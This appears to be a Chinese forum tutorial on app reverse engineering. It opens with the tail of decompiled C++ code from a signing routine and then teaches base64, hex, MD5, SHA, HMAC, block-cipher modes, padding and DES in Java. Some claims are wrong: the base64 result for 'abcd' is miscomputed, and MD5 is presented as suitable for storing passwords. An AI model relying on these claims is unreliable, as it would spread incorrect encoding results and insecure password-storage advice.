(v118 & 0x8080 ) ! = 0 ) { v119 = ((v118 >> 7 ) & 1 ) = = 0 ; } else { v119 = (v118 >> 23 ) & 1 ^ 3 ; } std::ostream::operator<<(&v173, v119); std::ostream::operator<<(&v173, v169); std::ostream::operator<<(&v173, v154); std::ostream::operator<<(&v173, v158); LODWORD(v120) = - 2 ; do { v121 = v120 + 2 ; v120 = (unsigned int )(v120 + 1 ); } while ( dword_42CF0[v121] < v3 ); std::ostream::operator<<(&v173, v120); v122 = - v3 & v3; if ( v163 ) { if ( v163 < 0x10000 ) v122 = v163 << 16 ; if ( HIBYTE(v122) ) v123 = v122; else v123 = v122 << 8 ; if ( HIBYTE(v122) ) v124 = 16 * (v163 < 0x10000 ); else v124 = ( 16 * (v163 < 0x10000 )) | 8 ; if ( !(v123 >> 28 ) ) { v123 * = 16 ; v124 | = 4u ; } v125 = 4LL * v123; if ( is_mul_ok( 4u , v123) ) v123 * = 4 ; if ( !HIDWORD(v125) ) v124 | = 2u ; v164 = v165 >> (~(unsigned __int8)(( int )v123 >> 31 ) - v124 + 33 ); } std::ostream::operator<<(&v173, v164 | v171); if ( v117 = = - 1 ) { v126 = 4LL ; } else if ( (v118 & 0x8080 ) ! = 0 ) { v126 = ((v118 >> 7 ) & 1 ) = = 0 ; } else { v126 = (v118 >> 23 ) & 1 ^ 3 ; } std::ostream::operator<<(&v173, v126); sub_671C4(v174); v178[ 0 ] = off_D9BB0; v173 = off_D9B88; v174[ 0 ] = off_D9C40; if ( (v175 & 1 ) ! = 0 ) operator delete((void * )v176); std::streambuf::~streambuf(v174); std::ostream::~ostream(&v173, off_D9BC8); return std::ios::~ios(v178); } |
hook入参,出参,即可分析出
\\n给厂商的建议:
\\n增加混淆,把常规算法(md5)做一些魔改,哪怕魔改几个IV也会有出奇的作用,做一些反trace的检测
\\n多增加一些浮点数运算,增大模拟调用难度
\\n这个样本使用了大量c++的stl操作,增大了分析的难度
\\n禁止拿去欺负小学生
\\n\\n“基础不牢,地动山摇。”我们先讲讲算法基础中比较重要的base64和hex,这两种编码不管是哪种算法几乎都需要用到它。
众所周知,在计算机中, 1个字节等于8个二进制位,而base64可以简单理解为就是使用6个二进制位表示1个字节,而六个二进制位的范围为000000~111111,换算成十进制就是0到63,所以 base64 编码会有64个基础字符。base64编码如下图所示:
base64编码是使用6个二进制位表示一字节的,所以上图中的字符就是6个二进制位转换成的10进制对应base64编码所得到的字符。
现在我们对base64稍稍有了点了解,那base64是如何编码和解码的呢?先说结论,编码后源数据会以三个字节为一组转化为4个字符表示,如果源数据字节数量不为三的倍数,那解决这个问题需要补充字节,补充到其二进制位可以整除6的时候。
原因或许有些观察敏锐的同学已经发现了,产生如此情况的原因就是两者之间一个字节所表示的二进制位。一个8个二进制位才表示1字节,一个6个二进制位就表示1字节,假设有三个字符\'abc\',总共表示3*8=24个二进制位,编码过后,每6个二进制位表示1个字节,24/6=4,可以看到源数据以三个字节为一组转化为4个字符表示,这与结论相符。光说理论也不行,我们来模拟一下编码的过程:
我们要对字符\'abc\'进行编码,首先我们要得到 \'abc\' 对应的二进制位,而 \'abc\' 对应的二进制位我们已经得到了;
其次就是按从左到右的顺序读取6个二进制位并将读到的每组二进制数据转为10进制表示,最后对照base64编码表得到每组二进制对应的字符,如下所示:
从转换结果可以看出 \'abc\' 用base64编码表示时是 YWJj。这个很简单吧!但不要忽略一个问题,那就是如果要编码的字符不是3的倍数呢?就比如\'abcd\'这四个字符,4*8=32个二进制位,而32是不能整除6的。那解决这个问题需要补充字节,补充到其二进制位可以整除6的时候。如下所示:
我们可以发现到后面只有2个二进制位可读取了,,不足6位,那我们就需要补字节,因为在非base64编码的情况下,一个字节等于8个二进制位,所以补了一个字节后可以发现变成了四个二进制位可读取了,还是不足6位,所以还要补字节,最终在补了俩个字节的情况下终于把所有的二进制位读完了,这里我们一共添加了两个补充字节(上方表格中二进制位数据被括号括起来的就是这两个补充字节的二进制位)。我们最终得到的结果是: YWJjhAAA,但是如果去用工具验证下结果就会发现我们得到的这个结果和工具得到的结果不符,那这是为什么呢?
其实这是因为我们编码过程中加了两个补充字节,而当需要解码的时候,解码的一方根本不知道最后两个字节是补充字节, 会将7个字节当成原始数据处理,这样解码得到的结果就和我们的源数据大相径庭了。这样不就出问题了,所以我们必须同时要告诉对方我们加了几个补充字节,那怎么告诉呢?其实可以发现完全由补充字节的二进制位组成的字节一定是A,也就是说加一个补充字节, 正常base64编码的最后一个字符一定是A,加两个补充字节, 正常base64编码的最后两个字符一定是A。但是解码的时候并不能凭最后的字符是A就确定是补充字节,因为一个正常字符编码的结尾也可以是A 或者AA的情况,那这就要牵扯到base64的第65个字符了,这个字符就是\\"=\\",这是一个特殊字符,该字符的作用就是用来告知对方添加了多少个补充字节的。
所以我们将完全由补充字节的二进制位组成的字节的原本值A替换为=,这样就告知对方我们添加了两个补充字节,最后得到结果是:YWJjhA==,而这个结果和用在线工具进行编码的结果如出一辙。
现在我们明白了base64编码的过程,其实base64解码的过程就是把编码的过程给倒过来,解码过程如下:
还记得开始说的结论:编码后源数据会以三个字节为一组转化为4个字符表示,如果源数据字节数量不为三的倍数,那解决这个问题需要补充字节,补充到其二进制位可以整除6的时候。如果理解了上面整个过程,那么就对base64有了一定的了解了。
这里多提一句,在URL中使用base64会产生冲突,例如 = 在URL中用来对参数名和参数值进行分割,那么为了安全就出现了一种名为URL base64的算法,该算法会将 + 替换成 - ,将 / 替换成 _ ,而 = 有时候会用 ~ 或者 . 代替。为什么 = 是有时候替换呢?这是因为URL base64编码也有好多种,有些编码不会去掉等号,有些编码替换的符号不同。
base64是以6个二进制位来表示一个字符, 那么hex是什么呢?其实hex也称为base16,意思是以4个二进制位表示一个字符。这个是不是很熟悉,是不是感觉hex和十六进制十分相似?这两者不能说一模一样,只能说毫无差别,hex编码就是将原始字符用16进制表示。所以hex具体的编码与解码过程我就不细说了,毕竟十六进制大部分学计算机的都还是懂的。
与这两者相似的还有base32,base32是以5个二进制位来表示一个字符,一共使用32个可见字符来表示一个二进制数组,编码后源数据会以五个字节为一组转化为8个字符表示,如果源数据字节数量不为五的倍数,那解决这个问题需要补充字节,补充到其二进制位可以整除5的时候。
什么是消息摘要算法?百度百科是这样解释的:
消息摘要算法的主要特征是加密过程不需要密钥,并且经过加密的数据无法被解密,可以被解密逆向的只有CRC32算法,只有输入相同的明文数据经过相同的消息摘要算法才能得到相同的密文。
一般地,把对一个信息的摘要称为该消息的指纹或数字签名。数字签名是保证信息的完整性和不可否认性的方法。数据的完整性是指信宿接收到的消息一定是信源发送的信息,而中间绝无任何更改;信息的不可否认性是指信源不能否认曾经发送过的信息。其实,通过数字签名还能实现对信源的身份识别(认证),即确定“信源”是否是信宿意定的通信伙伴。 数字签名应该具有唯一性,即不同的消息的签名是不一样的;同时还应具有不可伪造性,即不可能找到另一个消息,使其签名与已有的消息的签名一样;还应具有不可逆性,即无法根据签名还原被签名的消息的任何信息。这些特征恰恰都是消息摘要算法的特征,所以消息摘要算法适合作为数字签名算法。
其实我们在讲apk文件结构的时候讲过什么是数字摘要、什么是数字签名、什么是对称加密、什么是非对称加密、什么是数字证书。这里我们主要讲消息摘要算法。
要讲消息摘要算法就不得不提MD5消息摘要算法了,MD5(Message Digest Algorithm 5)翻译成中文就是消息摘要算法第五版,这是一种应用十分广泛的消息摘要算法。在生活中如果官方网站下载软件实在太慢,你等的不耐烦,就去寻找第三方下载渠道,这个时候该如何判断第三方渠道的软件和官方下载的软件是否相同呢?是否被植入病毒呢?这可以用MD5做到判断两者是否相似,官方渠道一般会提供下载文件的MD5值,我们只需要检查第三方软件的MD5值与官方提供的MD5值是否一致便可。如果有一点开发经验的朋友们可能知道,用户输入的账号密码保存到数据库中都是将经过消息摘要算法处理过后的内容保存到数据库里,这样可以避免内部人员获知用户的账号和密码。
MD5是一种典型的散列函数,也可以叫做哈希函数,MD5可以将任意消息内容变成长度固定为128位的散列值,也就是128个二进制位。
MD5处理同一个消息结果始终相同,不同的消息得到的结果截然不同。
听我这么一介绍是不是觉得MD5十分安全,其实不然,MD5已经被证明不再安全,而且关键性的工作还是来自我国的学者——王小云院士。虽然MD5已被证明不再安全,但是MD5直到今天也未被彻底抛弃,而是处于一种死而不僵的状态。想要明白为何会如此,还需了解MD5的原理才能明白。
MD5算法将任意消息内容变成长度固定为128位的散列值的过程可以分为三步:填充对齐、分块、多轮压缩。
第一步、填充对齐
说到底计算机中的内容就是由二进制的0和1组成的,我们需要对这些二进制数据进行补齐操作,需要将数据填充到64字节(512bit)的倍数,不仅如此在补齐的数据中最后8字节(64bit)固定用来表示原始数据的大小,使用小端序的格式进行存储。
什么是小端序呢?其实很简单,小端序就是把数据左边的字节存放到内存当中的右边,我们来看个例子:
这是PE文件头中的PE签名,按照我们正常从左到右观看是不是以为这里存储的值为“50450000”,实则不然,这里是小端序的格式进行存储的,所以正确的值为“00004550”。
现在明白了什么是小端序,那么源数据和数据中最后8字节之间会被填充为什么呢?中间剩下的字节第一个填0x80,剩下的全部填0x0。换句话也可以表达为源数据和数据中最后64个二进制位之间除了第一个二进制位填充1,剩下的二进制位全部都填充0。现在就完成了填充补齐,接下来我们模拟一下填充补齐的过程。我们有一个65字节的数据,首先该数据不符合64字节的倍数,所以要填充补齐,填充后我们得到了128字节的数据,其中65字节为我们的源数据,还有最后8字节固定用来表示原始数据的大小,中间还剩下55字节,这55字节除了第一个字节填充0x80之外,其余的字节全部填充0x0,这样我们就得到了填充补齐后的数据。
我们填充补齐数据后,那就进行第二步分块,因为我们已经将数据补齐为64字节(512bit)的倍数,所以我们就可以把数据分为若干个64字节(512bit)的数据块。就比如我们前面填充补齐得到的128字节的数据,经过分块后就得到了两大块。
现在完成了分块操作,之前讲过MD5最终的输出结果是一个长度固定为128位的散列值,这128位长度最开始被分为了四个部分,每个部分占大小32位。而这四个部分初始化了四个数据,这四个数据均为8个16进制数据组成,每个16进制数据为4bit,这四个初始数据是固定的,不管你输入任意数据给MD5处理这四个初始数据都是固定的。这四个初始数据假设由ABCD这四个变量分别存储着,而在进行处理初始数据之前,会把ABCD中存储的初始数据赋值给四个新的变量abcd,这是因为我们在处理数据的时候需要反复对初始数据进行处理,所以我们需要保留一份最开始的初始数据留到后面使用。
第三步多轮压缩一共有四轮,每轮压缩会使用数据块和abcd中存储的初始数据进行十六次计算操作,这十六次计算操作中的每一次最终都会把abcd各自更新一次,四轮压缩一共会把abcd各自更新六十四次,所以64字节(512bit)大小的分组数据和abcd中存储的初始数据共进行六十四次位运算。现在读起来你可能会感到疑惑,没事我们接着往下看就知道是什么意思了。
还记得我们前面保留在ABCD四个变量中的初始数据吗?现在就用的到了,当完成多轮压缩的计算操作后就需要进行以下操作:
当完成对第一个数据块所进行的四轮压缩后,那接下来就需要进行对第二个数据块的处理,在对第二个数据块进行处理的时候就需要把上一次存储最后处理结果的四个变量ABCD中存储的值再次赋值给变量abcd,这样就把最后得到的散列值分别加回到当前散列值的四个部分,散列值就被更新了。处理第二个数据块的操作和处理第一个数据块的操作一致,要说不同,那只有要进行处理的散列值是前一个数据块的最终值。
源数据经过填充补齐和分块后,一共有多少数据块,就要进行多少轮这样的操作。当我们在所有数据块上完成多轮压缩,散列值也就被更新为最终的MD5值,最终的MD5值会被使用小端序的方式存储到内存当中,就是最终128位的结果了。
MD5消息摘要算法的整体细节相信大家也多多少少清楚了些,下面我们讲讲在多轮压缩时的一系列计算操作是怎样的。
假设我们现在已经将数据初始化好了,得到了存储初始化数据的ABCD四个变量,并且将初始数据赋值给四个新的变量abcd。我们这是已经完成了第一步,我们第二步就需要进行计算数据,以下是使用64字节(512bit)大小的分组数据和abcd中存储的初始数据共进行64 次位运算所用到的公式:
这公式是什么意思呢?还请听我娓娓道来。
我们先来看一下这个计算公式中的F是什么:
循环进行六十四次位运算,从i=0循环到i=63
前面说过64字节(512bit)大小的分组数据和abcd中存储的初始数据共进行64 次位运算,而以上代码中的变量i就表示这是第多少次位运算。可能有朋友疑惑F、G、H、I是什么?这是四轮压缩要使用的四种运算公式,四种运算公式如下:
在六十四次位运算当中,第一次到第十六次F的值用F(X, Y, Z) = (X & Y) | (~X & Z)这个公式来计算出来,其实第一次到第十六次也就是第一轮压缩,所以也可以说是第一轮压缩使用公式F来计算出最开始那计算数据公式中F1的值。第二轮压缩使用公式G来计算出最开始那计算数据公式中F2的值。第三轮压缩使用公式H来计算出最开始那计算数据公式中F3的值。第四轮压缩使用公式I来计算出最开始那计算数据公式中F4的值。
这四个公式涉及到三个值,分别是bcd,也就是前面讲过的abcd四个变量中的bcd。
接着我们来看最开始那计算数据公式中K的值,K的值要用到一个常量表,这常量表有六十四个数据,常量表如下:
第n次位运算就使用以上常量表中的第n个常量来作为K的值,比如第二次位运算K的值就应该为0xe8c7b756。
接着我们来看最开始那计算数据公式中M的值,M的值与64字节(512bit)大小的分组数据有关,假设有以下填充对齐后的64字节数据:
六十四个字节会被分为十六组四字节,在第一轮压缩是第几次位运算就选择十六组四字节当中的第几组;在第二轮压缩是使用公式((i * 5) + 1) % 16来计算出要取出十六组四字节当中的第几组;在第三轮压缩是使用公式((i * 3) + 5) % 16来计算出要取出十六组四字节当中的第几组;在第四轮压缩是使用公式(i * 7) % 16来计算出要取出十六组四字节当中的第几组;
接着就是将(a+F + K[i] + M[g])这四个值的和再向左循环左移s,这个s要用到一个位移表,这个位移表也是有六十四个数据,位移表如下:
s值和K值一样,第n次位运算就使用以上位移表中的第n个常量来作为s的值,比如第三次位运算s的值就应该为17,也就是说在第三次位运算的时候要把值循环左移17位。
现在搞清楚了F、K、M、S,然后再加上b的值就可以计算出结果。最后一步还需对数据进行交换,交换数据需要将b的值交换到c,将c的值交换到d,将d的值交换到a,最后把刚刚计算出来的a的结果交换到b。这样就完成了六十四次位运算中的一次,剩下还需要如此这般进行63次位运算,在最后一次位运算完成后,还需要使用大写的ABCD加上小写的abcd就可以计算出结果了,最后将这些结果使用小端序的方式存储到内存当中就是最终的MD5值了!
至此MD5的细节和原理现在已经多多少少有一定的了解了,我们现在来讲讲MD5的安全隐患在哪吧!
首先MD5并不是加密算法,而是一个产生消息摘要的散列函数,它的不安全性并不是拿着它的密文去试图破解它的明文,因为MD5处理数据的过程中会不断的产生信息损失,所以MD5是不可逆的。那么它是什么方面不安全了呢?
前面讲过MD5可以将任意消息内容变成长度固定为128位的散列值,这句话告诉我们两个信息,任意消息和固定为128位的散列值,经过MD5处理过后的数据固定为128位就意味着MD5值它是有边界的,而任意数据就意味着输入给MD5进行处理的数据是没有边界的,也就是说输入给MD5处理的数据是无穷的。输入给MD5处理的数据是无穷的,MD5处理过后的数据是有穷的,以有穷对无穷就会出现一个问题,那就是一定会有不同的数据经过MD5处理后得到相同的MD5值!而这个情况被称之为MD5的碰撞性。
以有穷对无穷还会导致同一个MD5值对应的可能数据也应该有无穷多个,但是MD5的作者在设计之初认为我们无法主动找到碰撞。既然一个MD5值可能有无穷多个对应的数据,那我们可不可以找到任意一个能产生这个MD5值的数据呢?这个问题就是所谓的\\"原像攻击\\",那原像攻击是否对MD5的安全性产生了巨大的影响呢?结果很遗憾,到现在原像攻击还没有什么通用可行的方案。你看MD5值的范围在0到2的128次方之间,我们使用暴力穷举法不断的尝试使用不同的数据生成MD5值,理论上只要尝试的次数足够多,那么就能把这个MD5值对应的任意一个数据给找出来。虽然说理论上合理,但实践起来可不容易,0到2的128次方就意味着有2的128次方种可能,像这样的工程量无异于大海捞针。
既然原像攻击行不通,那么就放宽条件,假设给定一个数据和该数据经过MD5处理后的MD5值,那么可不可以找到另外一个MD5值相同的数据呢?这个问题就是所谓的\\"第二原像攻击\\",那么第二原像攻击是否对MD5的安全性产生了巨大的影响呢?目前来看MD5对于抗第二原像攻击的情况不容乐观,但是这并不是让MD5某些方面安全性堪忧的关键所在,真正让MD5安全性堪忧的是抗强碰撞性。
对于抗强碰撞性在2004年之前一直困于伪碰撞的范围,直到2004年我国山东大学的王小云团队找到了快速发现大量MD5真碰撞的方法,这是一次重大突破,并在2005年发布了详细的研究细节,她们的方法可以在十五分钟到一个小时之内找到碰撞,在基于王小云团队的研究上,人们后续的研究可谓是将MD5安全性的最后一块遮羞布给扯了下来。2007年埃因霍芬理工大学的Marc Stevens基于王小云团队的研究提出了两项新的成果,第一项成果是用一个原始数据内容生成另外两个MD5值一样但是数据内容不一样的数据,最为重要的一点是生成的这两个MD5值一样的数据内容有意义,这就很恐怖了!这一项成果被称之为相同前缀碰撞,原始数据内容作为前缀,然后不断尝试构造两个不同的后缀数据,直到最终产生的数据内容的MD5值相同为止,而为什么最终产生的数据内容都有意义,那是因为前缀数据保留了原始数据内容原本的意义。可能讲到这里你会认为这还是有手段可以反制,还是可以看出端倪,还不至于没得打,那再看看Marc Stevens提交的第二项成果,那就是可以自由的选择前缀的数据内容,然后生成两个MD5值一样但是前缀内容不相同的数据内容,这被称之为选择前缀碰撞。这个操作性可就很大了,如果仔细去想那不得不为MD5的安全性感到堪忧了!如果有人有这个生成两个文件,一个文件正常无隐患,一个各种木马病毒加身,但是它们两个文件的MD5值一样,如果网站用MD5值进行判断,那岂不是危矣!这让我想到万人敬仰韩天尊,杀人放火厉飞羽。
既然MD5已经不安全了,那为什么它会死而不僵呢?因为它的这些安全隐患并非全场景覆盖,就比如前面提到的第三方渠道下载和数据保存到数据库就不在MD5的安全隐患范围内。
现在对MD5应该有了一定的了解,那么下一步我们来看看Java是如何使用MD5处理数据的:
以上代码使用Java的MessageDigest自定义类来计算字符串\\"Hello, World!\\"的MD5摘要。在主函数main中,定义了一个字符串类型变量data,并将其转换为字节数组。然后调用calculateMD5方法计算MD5摘要,将结果保存在digest字节数组中。
calculateMD5方法中,通过MessageDigest.getInstance(\\"MD5\\")获取MD5摘要算法的实例。如果获取失败,则会抛出NoSuchAlgorithmException异常。在这里,我们通过try-catch块捕获异常并打印异常信息,然后返回null。
如果成功获取到MD5摘要算法的实例,调用md.digest(data)方法计算摘要。这个方法接受一个字节数组作为输入,并返回计算得到的摘要字节数组。
在main函数中添加assert digest != null;是为了确保calculateMD5方法返回的摘要字节数组不为null。在正常情况下,calculateMD5方法应该能够成功计算并返回摘要字节数组。然而,如果在获取MD5摘要算法实例时发生异常,calculateMD5方法将返回null。
通过添加断言assert digest != null;,我们可以在调试和测试阶段捕获这种异常情况。如果calculateMD5方法返回null,断言将会触发并抛出AssertionError异常,从而提醒我们出现了意外的情况。
最后,调用bytesToHex方法将摘要字节数组转换为十六进制字符串,并将结果打印出来。
最终的打印结果如下:
现在总算把MD5算法给讲清楚了,好累!现在向我们走来的是消息摘要算法之SHA算法。
SHA算法百度百科解释如下:
安全散列算法(英语:Secure Hash Algorithm,缩写为SHA)是一个密码散列函数家族,是FIPS所认证的安全散列算法。能计算出一个数字消息所对应到的,长度固定的字符串(又称消息摘要)的算法。且若输入的消息不同,它们对应到不同字符串的机率很高。
SHA算法还是一个家族,SHA家族的五个算法,分别是SHA-1、SHA-224、SHA-256、SHA-384,和SHA-512,由美国国家安全局(NSA)所设计,并由美国国家标准与技术研究院(NIST)发布;是美国的政府标准。后四者有时并称为SHA-2。SHA-1在许多安全协定中广为使用,包括TLS和SSL、PGP、SSH、S/MIME和IPsec,曾被视为是MD5(更早之前被广为使用的杂凑函数)的后继者。但SHA-1的安全性如今被密码学家严重质疑;虽然至今尚未出现对SHA-2有效的攻击,它的算法跟SHA-1基本上仍然相似;因此有些人开始发展其他替代的杂凑算法。
有关SHA系列算法摘要长度如下表所示:
SHA系列算法与MD5算法有很多相似之处,这里对SHA系列算法的原理就不做过多阐述,我们就直接来看看Java是如何使用SHA系列算法处理数据的:
以上这段代码为我们展示了如何使用SHA-256算法计算给定数据的哈希值,并将结果以十六进制字符串的形式输出。
在main方法中,首先定义了一个字符串类型变量data,表示要计算哈希值的数据为\\"Hello, World!\\"。然后调用calculateSHA方法,将data转换为字节数组,并计算其SHA哈希值。接着将计算得到的哈希值转换为十六进制字符串,并输出结果。
calculateSHA方法接受一个字节数组作为参数,通过MessageDigest类的getInstance方法初始化SHA-256算法的实例md。然后调用md的digest方法对数据进行摘要处理,返回计算得到的哈希值。
bytesToHex方法接受一个字节数组作为参数,将字节数组中的每个字节转换为十六进制字符串,并将其拼接为一个完整的十六进制字符串后返回。
在main方法中,调用calculateSHA方法计算数据的SHA哈希值,然后调用bytesToHex方法将哈希值转换为十六进制字符串并输出。
SHA-256算法在实际应用中,可以用于数据完整性验证、密码存储等安全领域。如果NoSuchAlgorithmException异常被抛出,表示指定的算法不可用。
我们来看看SHA-256算法处理后的打印结果是如何模样的:
SHA系列算法详细的处理过程大家可以自己去了解,具体的处理过程我这里就不详解了。
现在我们大致了解了MD5消息摘要算法、SHA系列消息摘要算法,接下来向我们走来的是MAC消息摘要算法,该消息摘要算法是含有密钥的消息摘要算法。
MAC(Message Authentication Code,消息认证码算法)是含有密钥散列函数算法,兼容了MD和SHA算法的特性,并在此基础上加上了密钥。因此MAC算法也经常被称作HMAC算法。
MAC算法主要集合了MD和SHA两大系列消息摘要算法。MD系列算法有HmacMD2、HmacMD4和HmacMD5三种算法,SHA系列算法有HmacSHA1、HmacSHA224、HmacSHA256、HmacSHA384和HmacSHA512五种算法。
经MAC算法得到的摘要值也可以使用十六进制编码表示,其摘要值长度与参与实现的算法摘要值长度相同。例如,HmacSHA1算法得到的摘要长度就是SHA1算法得到的摘要长度,都是160位二进制数,换算成十六进制编码为40位。
有关MAC算法摘要长度如下表所示:
接下来我们来看看Java是如何使用MAC系列算法处理数据的:
我们可以看到以上代码演示了如何使用Java的javax.crypto包中的Mac类来计算消息的摘要。具体来说,代码的功能如下:
在代码中使用了try-catch语句来捕获可能抛出的NoSuchAlgorithmException和InvalidKeyException异常,并在发生异常时打印异常堆栈信息。
总而言之,以上代码展示了如何使用HmacSHA256算法计算消息的摘要,并将摘要以十六进制字符串的形式打印出来。
我们来看看HmacSHA256算法处理后的打印结果是如何模样的:
到此为止,我们将常用到的消息摘要算法都简单了解了一遍,接下来,我们就要进入对称加密算法了,这里我们先简单了解一下对称加密算法,对称加密算法与消息摘要算法最大的区别在于加密和解密的过程是可逆的,这里多一嘴,不管是对称加密算法还是非对称加密算法,最常见的加密算法都是分组加密算法,那什么是分组加密算法呢?简单来说就是把明文分成一组或多组进行加密,而分组加密算法一般会有五种加密模式,这五种加密模式分别是ECB、CBC、CFB、OFB、CTR,这里着重讲一下比较常见的ECB和CBC这两种加密模式。
ECB加密模式是最基本的工作模式,将待处理明文进行分组,每组分别进行加密或解密处理,当然明文分组的长度是根据密钥的长度来的,至于分组长度的规则这里就不细讲,总之只要知道有这么一个分组的概念就可以了。
假设我们有这么一段明文:123456789,这段明文假设被分为三段,分别是第一段明文123、第二段明文456、第三段明文789。
明文分组后我们使用密钥对每一组明文进行加密,处理后得到加密后的密文,假设得到了三组密文,分别是由123加密得来的\\"qsc\\"、由456加密得来的\\"asf\\"、由789加密得来的\\"jgh\\"。
得到三组密文后,最后将三组密文拼接起来得到最终的密文——\\"qscasfjgh\\"。
以上模拟的加密模式便是ECB加密模式,这里讲讲ECB加密模式的优缺点,该加密模式的缺点很明显,它的加密模式导致它只需要猜其中一部分就可以了,其中一部分错了其他部分还有可能对,解密的时候是按照区块去解密的,所以在破解密文的时候不需要每一个都猜对,我们可以进行枚举,或者在数据库中存一些字典,这些字典记录着一个明文对应哪个密文,然后进行穷举嘛!只要这个计算时间足够长,总有一天会破解出来的。
到这里你会发现ECB加密模式安全性并不高,但为什么还是这么的常用呢?这就得讲讲ECB加密模式的优点了。ECB加密模式最大的优点就是方便、简单、可并行。这里的可并行是什么可能大家并不太清楚,这个可并行的优点是由于ECB加密模式的各分组之间没有关联,所以ECB的操作可以并行化。
CBC加密模式和ECB加密模式最大的不同就是IV向量,我们先来看看这个IV向量在CBC加密模式中扮演着怎么样的角色。CBC加密模式依旧是先将待处理的明文进行分组,分好组后就需要用到IV向量了,CBC会先将第一组明文与IV向量进行异或运算,进行异或运算后才是使用密钥进行加密,从而得到第一组密文。你以为会是把每一组明文都与IV向量进行异或运算后加密得到密文,然后再将所有组密文拼接在一起得到最后的密文?不不不,大错特错,在得到第一组密文后,下一组明文在加密前不是与IV向量进行异或运算,而是与前一组密文进行异或运算,然后再使用密钥进行加密得到新的密文。简单来说就是第一组用IV向量来进行异或运算然后加密得到密文,第二组用前一组的密文来进行异或运算然后加密得到新的密文,直到最后一组用前一组的密文来进行异或运算然后加密得到最后的密文,最后的最后把所有组密文拼接起来得到完整的密文。因此CBC加密模式中文名为密文分组链接模式,你可以从CBC的加密模式中看出在加密的过程中密文分组就像链条一样相互连接在一起,而IV向量就是这链条的头部。
从CBC的加密模式可以看出来,CBC加密模式的特点,首先特点一在加密的过程中必然有一个IV向量,而IV向量的值不一样得到的结果也就不一样;特点二某一组明文加密结果错误了,那后面的每组加密也就全都错误了;特点三无法单独对中间某一组明文进行加密,假设要加密第三组明文,那就需要先加密第一、二组明文才可以加密第三组明文,而无法单独加密第三组明文;特点四如果一个密文分组损坏了,解密时最多只有两个分组(损坏分组及其后的一个分组)会受到影响;特点四我从网上扒下来一张图来讲解讲解。
以下是对图中CBC模式分组损坏的影响的讲解:
因此,在CBC模式下,如果一个密文分组损坏了,解密时最多只有两个分组(损坏分组及其后的一个分组)会受到影响。图中清晰地展示了这一点。
特点五如果密文分组中有比特缺失,缺失比特的位置之后的所有密文分组都将无法正确解密。
以下是对图中CBC模式当密文分组中有比特缺失时的影响:
具体影响如下:
因此,在CBC模式下,如果密文分组中有比特缺失,缺失比特的位置之后的所有密文分组都将无法正确解密。图中清晰地展示了这一点。
前面的示例中都是假设分组后每一组明文长度相同,但实际情况不会是假设,所以当ECB和CBC加密模式把明文分组后如果出现最后一组明文长度和其他组明文长度不一致的情况,那么是如何应对的?这就牵扯到一个叫做填充方式的东西,这个填充方式就是用来保证分组加密算法中的每组明文长度一致的,而填充方式有No Padding、ANSI X9.23、ISO 10126、PKCS#5、PKCS#7、Zero Padding、ISO/IEC 7816-4等填充方式。
在分组加密算法中,填充(Padding)是一种在分组加密算法中用于处理明文长度不符合分组长度要求的方法。不同的填充方式会根据不同的规则来添加填充数据,以确保明文数据长度能被正确地分组加密。以下是我对各种填充方式的讲解:
No Padding:不填充,要求明文的长度必须是加密算法分组长度的整数倍。如果长度不符合要求,则需要手动补充符合要求的填充数据。
ANSI X9.23:在填充字节序列中,最后一个字节填充为需要填充的字节长度,其余字节填充0。这种填充方式以0填充,同时使用最后一个字节记录填充的长度信息。
ISO 10126:在填充字节序列中,最后一个字节填充为需要填充的字节长度,其余字节填充随机数。这种填充方式将除最后一个字节外的填充字节用随机数填充。
PKCS#5和PKCS#7:在填充字节序列中,每个字节填充为需要填充的字节长度。这两种填充方式中,每个填充字节的数值都等于需要填充的字节长度,但细心的你会发现我把PKCS#5和PKCS#7放在一起了,那么PKCS#5和PKCS#7是什么关系呢?其实这两者是包含关系,PKCS#7包含PKCS#5,你可以理解为PKCS#5支持填充的范围比较小,而PKCS#7支持填充的范围比较大。
ISO/IEC 7816-4:在填充字节序列中,第一个字节填充固定值80,其余字节填充0。若只需填充一个字节,则直接填充80。这种填充方式将第一个字节填充为固定值80,其余字节填充为0。
Zero Padding:在填充字节序列中,每个字节填充为0。这种填充方式简单地使用0填充剩余字节。
每种填充方式都有其特定的规则和应用场景,用于确保在对非标准长度的数据进行加密时,能够正确地进行分组加密操作。不同的加密算法或协议可能会采用不同的填充方式来处理数据长度不足分组长度的情况。
到这我们就讲解了对称加密算法的前菜,了解了一点算法基础,接下来我们将进入主菜环节,讲讲常见的几种对称加密算法。
这里我们简单了解一下常用的三种对称加密算法,分别是DES算法和DESede算法,以及AES算法。而第一个向我们迎面走来的对称加密算法便是DES对称加密算法。
我们先讲一下概念,DES(Data Encryption Standard)是一种对称加密算法,由IBM研发并在1977年被美国政府正式采纳作为数据加密标准。DES基于分组密码的概念,将数据分成64位的数据块(即一个分组),采用56位的密钥对数据进行加密和解密。虽然密钥长度是56个二进制位,但在Java中提供的是八个字节,也就是64个二进制位,因为其中8个二进制位是要做校验的。
当获得了一组64位的数据之后,DES将通过一些步骤进行加密,而关于DES对称加密算法的加密流程我们简单概括一下:
DES加密算法共有16个轮次,每个轮次都包括以下四个步骤:
a. 数据块分割
b. 右侧数据块处理
c. 左右数据块交换
d. 生成新数据块
总结
这里只是DES对称加密算法的加密流程的简单概括,如果有兴趣了解具体的加密流程可以自行去参考这篇文章或者自行寻找:
通俗易懂,十分钟读懂DES,详解DES加密算法原理,DES攻击手段以及3DES原理。Python DES实现源码-CSDN博客
好了,接下来我们就来看看Java是如何使用DES对称加密算法对数据进行加解密的:
以上这段代码是一个Java类DesExample
,它为我们演示对字符串进行DES加密和解密操作。以下是这段代码的讲解:
DesExample
类包含了两静态属性keys
和values
,用于存储DES加密密钥和待加密的字符串。
DesEncryption
方法是一个私有静态方法,用于对输入的字符串进行DES加密操作。该方法接收加密密钥和待加密的字符串作为参数,并返回加密后的字节数组。
main
方法是程序的入口点。在这个方法中:
我在代码中添加的注释为每个关键步骤提供了解释,可以帮助大家更容易理解代码执行流程。
需要注意的是,代码中使用了sun.misc.BASE64Decoder
和sun.misc.BASE64Encoder
这两个类,它们是sun.*
的非标准API,不建议在生产环境中使用,因为它们不是公共API,并可能在将来的Java版本中被移除。
现在我们就来看看Java使用DES对称加密算法对数据进行加解密后的效果:
